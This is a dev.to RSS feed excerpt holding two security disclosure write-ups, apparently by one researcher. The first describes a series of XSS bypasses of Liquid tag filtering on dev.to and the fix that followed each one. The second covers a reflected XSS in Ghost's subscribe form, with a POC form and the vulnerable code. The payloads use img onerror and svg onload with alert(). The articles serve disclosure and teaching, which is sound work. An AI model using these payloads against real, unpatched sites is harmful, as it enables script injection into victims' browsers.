&lt;p&gt;Using the &lt;a href="https://help.shopify.com/en/themes/liquid/tags/variable-tags#assign"&gt;Assign&lt;/a&gt; tag, we can achieve a similar result.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;{% assign myimg = '&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"//x"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"alert()"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;' %}
&lt;span class="k"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;myimg&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;replace&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"class"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"onerror"&lt;/span&gt; &lt;span class="k"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this Proof of concept, I replace the &lt;code&gt;class&lt;/code&gt; attribute with &lt;code&gt;onerror&lt;/code&gt;, giving us this resulting XSS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"//x"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"alert()"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was fixed by blocking the major assigning tags, such as &lt;code&gt;replace&lt;/code&gt;, &lt;code&gt;replace_first&lt;/code&gt; and &lt;code&gt;remove&lt;/code&gt; on &lt;a href="https://github.com/thepracticaldev/dev.to/commit/fab4465bac40f57ec8903f520d0b5610d24413eb"&gt;this commit&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Assign
&lt;/h2&gt;

&lt;p&gt;Now that we couldn't use filters, it was time for a different solution.  &lt;/p&gt;

&lt;p&gt;By exploiting the assign tag, as Markdown is rendered before liquid tags, we could mix variables and markdown to gain an XSS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;{% assign x = '&lt;span class="nt"&gt;&amp;lt;pre&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"onerror=alert() test"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;' %}
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"X &lt;/span&gt;&lt;span class="k"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="k"&gt;}}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Giving us the XSS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt; &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"X  &amp;lt;pre class="&lt;/span&gt;&lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(&lt;/span&gt; &lt;span class="err"&gt;)&lt;/span&gt; &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;"/&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://github.com/thepracticaldev/dev.to/commit/832e89237368b6a3c01bcbb6a88eaac79d5d3e1f"&gt;The solution here&lt;/a&gt; was to completely remove the capture tags.&lt;/p&gt;

&lt;h2&gt;
  
  
  Extracting components
&lt;/h2&gt;

&lt;p&gt;Now that we couldn't have variables, it was time for another bypass!&lt;br&gt;&lt;br&gt;
The &lt;a href="https://shopify.github.io/liquid/filters/replace/"&gt;replace&lt;/a&gt; filter doc doesn't use a variable, but declares it into the tag itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;&lt;span class="k"&gt;{{&lt;/span&gt; &lt;span class="s2"&gt;"Take my protein pills and put my helmet on"&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;replace&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"my"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"your"&lt;/span&gt; &lt;span class="k"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can use the same manipulation, by not using the &lt;code&gt;assign&lt;/code&gt; tag but directly applying our filter on a div, and using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;&lt;span class="k"&gt;{{&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;pre&amp;gt;'&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;first&lt;/span&gt; &lt;span class="k"&gt;}}&lt;/span&gt;svg onload=alert(1) 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This also uses the &lt;code&gt;first&lt;/code&gt; filter, which wasn't removed from the last filter-removal commit.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/thepracticaldev/dev.to/commit/178d0205eb311544718e93625b951095378ccec7"&gt;The patch&lt;/a&gt; time was pretty simple: Blacklist the &lt;code&gt;first&lt;/code&gt; tag.  &lt;/p&gt;

&lt;p&gt;There were few other filters which were removed since this part, such as &lt;code&gt;truncate&lt;/code&gt;, &lt;code&gt;truncateword&lt;/code&gt; and &lt;code&gt;slice&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tag removal
&lt;/h2&gt;

&lt;p&gt;The next bypass I found was by using extra arguments on the default tags, which would be omitted from the HTML yet correctly parse the markdown format check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"x"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"{%if'1"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"' != '' "&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt; %}
inner" onerror=alert(document.domain)
{% endif %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, the part between the first &lt;code&gt;{ %if ... %}&lt;/code&gt; would be removed, giving us the resulting HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"x"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"inner"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(document.domain)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is when they removed all of the default liquid manipulations, such as &lt;code&gt;if&lt;/code&gt;, &lt;code&gt;for&lt;/code&gt; and &lt;code&gt;comment&lt;/code&gt;, which was merged with &lt;a href="https://github.com/thepracticaldev/dev.to/pull/608/files"&gt;the following PR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Finally, I noticed the &lt;code&gt;raw&lt;/code&gt; tag wasn't disabled with the others. This is because the tag is used internally with the codeblocks, so they can't be blocked as easily as the others.&lt;br&gt;&lt;br&gt;
Here is the POC I made back then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"x"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"before{% raw %}inside{% endraw "&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;%}rawafter"onerror=alert(document.domain) 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice the end of the raw tag, containing the end of the &lt;code&gt;img&lt;/code&gt; tag: &lt;code&gt;{ % endraw "&amp;gt; %}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/thepracticaldev/dev.to/commit/32ed3ced1144a97264be8a4936a17b4b25f04136"&gt;The final solution&lt;/a&gt; was to block characters after the &lt;code&gt;raw&lt;/code&gt; keyword, which ensures the block doesn't contain the end of a tag.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;People like me are the reason why you can't have nice things, and also a reason why websites are more secure.&lt;/p&gt;

&lt;p&gt;In this case, the fusion of markdown and liquid tags caused some interesting vulnerabilities, even though by themselves these components were (somewhat) secure, the two of them together caused some very interesting vulnerabilities.  &lt;/p&gt;

&lt;p&gt;As always, please send me your feedback, and follow me on &lt;a href="https://twitter.com/AntoGarand"&gt;Twitter&lt;/a&gt; and on dev.to if you want to see more of my content!&lt;/p&gt;

</description>
      <category>xss</category>
      <category>security</category>
    </item>
    <item>
      <title>XSS in Ghost</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Sun, 16 Dec 2018 21:52:53 +0000</pubDate>
      <link>https://dev.to/antogarand/xss-in-ghost-2o6j</link>
      <guid>https://dev.to/antogarand/xss-in-ghost-2o6j</guid>
      <description>&lt;p&gt;&lt;a href="https://ghost.org/" rel="noopener noreferrer"&gt;Ghost&lt;/a&gt; is a publishing-focused platform. It powers many writing-focused websites such as the &lt;a href="https://blog.cloudflare.com/" rel="noopener noreferrer"&gt;cloudflare blog&lt;/a&gt;, &lt;a href="https://troyhunt.com" rel="noopener noreferrer"&gt;troyhunt.com&lt;/a&gt; and &lt;a href="https://blog.mozvr.com" rel="noopener noreferrer"&gt;the Mozilla VR blog&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;As the code is fully open source on &lt;a href="https://github.com/TryGhost/Ghost" rel="noopener noreferrer"&gt;github&lt;/a&gt;,  I performed a security audit of the application and found an unauthenticated reflected XSS in the Subscribe feature.&lt;/p&gt;

&lt;p&gt;The patched versions are &lt;code&gt;2.4.0&lt;/code&gt;, &lt;code&gt;1.25.6&lt;/code&gt; and &lt;code&gt;0.11.14&lt;/code&gt;. If you are running a version previous to the above patched versions and have the Subscriber feature enabled, I strongly recommend you to update as soon as possible!&lt;/p&gt;

&lt;p&gt;This post will be a technical walk through of the vulnerable code which caused this XSS.&lt;/p&gt;

&lt;h1&gt;
  
  
  Unauthenticated XSS in Subscriber page
&lt;/h1&gt;

&lt;p&gt;The subscribe page of Ghost is a feature which needs to be manually applied via the labs tab in the blog settings.&lt;br&gt;&lt;br&gt;
More information about the feature is available &lt;a href="https://docs.ghost.org/api/handlebars-themes/subscribers/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The subscribe page was vulnerable to a reflected XSS as two of the POSTed variables can be reflected:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;subscribed_url&lt;/li&gt;
&lt;li&gt;subscribed_referrer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a POC form which used to alert the domain, on demo.ghost.io:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://demo.ghost.io/subscribe/"&lt;/span&gt; &lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"confirm"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"x"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"subscribed_url"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"x&amp;gt;&amp;lt;img src=x onerror='alert(document.domain)' /&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;autofocus=&lt;/span&gt;&lt;span class="s"&gt;"autofocus"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"random@email.invalid"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;POC&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Vulnerability information
&lt;/h2&gt;

&lt;p&gt;The vulnerable code is under &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/helpers/subscribe_form.js#L46" rel="noopener noreferrer"&gt;/core/server/apps/subscribers/lib/helpers/subscribe_form.js:46&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;hidden&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SafeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;makeHidden&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;confirm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;makeHidden&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;location&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_url&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;value=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_url&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;makeHidden&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;referrer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_referrer&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;value=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_referrer&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And rendered under the &lt;code&gt;subscribe_form&lt;/code&gt; template, available at &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/helpers/tpl/subscribe_form.hbs" rel="noopener noreferrer"&gt;/core/server/helpers/tpl/subscribe_form.hbs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The SafeString function is from &lt;a href="https://handlebarsjs.com/" rel="noopener noreferrer"&gt;HandleBars&lt;/a&gt;, and enable the user to write raw (unsafe) HTML to the document.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://handlebarsjs.com/#html-escaping" rel="noopener noreferrer"&gt;HTML escaping - Handlebars&lt;/a&gt;&lt;br&gt;
Handlebars will not escape a Handlebars.SafeString. [...] In such a circumstance, you will want to manually escape parameters.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In our case, we are passing the result of the &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/helpers/subscribe_form.js#L15" rel="noopener noreferrer"&gt;makeHidden&lt;/a&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;makeHidden&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;extras&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;templates&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hidden&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;extras&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;extras&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/helpers/template.js#L30" rel="noopener noreferrer"&gt;template.input&lt;/a&gt; is a Lodash template, and no parameters are sanitized.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;templates&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;input class="&amp;lt;%= className %&amp;gt;" type="&amp;lt;%= type %&amp;gt;" name="&amp;lt;%= name %&amp;gt;" &amp;lt;%= extras %&amp;gt; /&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For this vulnerability, the extras parameters is tainted with &lt;code&gt;'value=' + root.subscribed_url&lt;/code&gt;, which lets us close the input tag and inject our own HTML code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical information
&lt;/h2&gt;

&lt;p&gt;The reason why Ghost is treating &lt;code&gt;subsribed_url&lt;/code&gt; and &lt;code&gt;subscribed_referrer&lt;/code&gt; as safe variables is the interesting part of this attack.&lt;/p&gt;

&lt;p&gt;To perform the required trick, we need to understand how Ghost and its web server, Express, handles a request.&lt;br&gt;&lt;br&gt;
Before rendering a page, ghost will give a route a list of method to execute, each one sending its result to the next one.&lt;br&gt;&lt;br&gt;
Here is the pertinent code, from &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/router.js#L98" rel="noopener noreferrer"&gt;/core/server/apps/subscribers/lib/router.js:98&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// subscribe frontend route&lt;/span&gt;
&lt;span class="nx"&gt;subscribeRouter&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nx"&gt;_renderer&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nx"&gt;bodyParser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlencoded&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;extended&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
        &lt;span class="nx"&gt;honeyPot&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;handleSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;storeSubscriber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;_renderer&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// configure an error handler just for subscribe problems&lt;/span&gt;
&lt;span class="nx"&gt;subscribeRouter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;errorHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The arguments given to each methods are the result, or callback arguments, of the previous method.&lt;br&gt;&lt;br&gt;
If the argument is of type &lt;code&gt;Error&lt;/code&gt;, instead of continuing with the next method, it will use the &lt;code&gt;errorHandler&lt;/code&gt; method, which will then display an error page.&lt;/p&gt;

&lt;p&gt;Here is the &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/router.js#L33" rel="noopener noreferrer"&gt;errorHandler&lt;/a&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;errorHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;statusCode&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;_renderer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, the &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;post&lt;/code&gt; and &lt;code&gt;error&lt;/code&gt; routes end up with the same &lt;code&gt;_renderer&lt;/code&gt; method, which does render the same template.&lt;/p&gt;

&lt;p&gt;The subscriber form, which is the template used by all states, has two states:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An empty state, with the "Enter your email" form.
It can contain errors, such as "Invalid Email", and other analytics content, such as the referrer.&lt;/li&gt;
&lt;li&gt;The filled state once you post an email, with a "Successfully subscribed" message.
&lt;/li&gt;
&lt;/ul&gt;

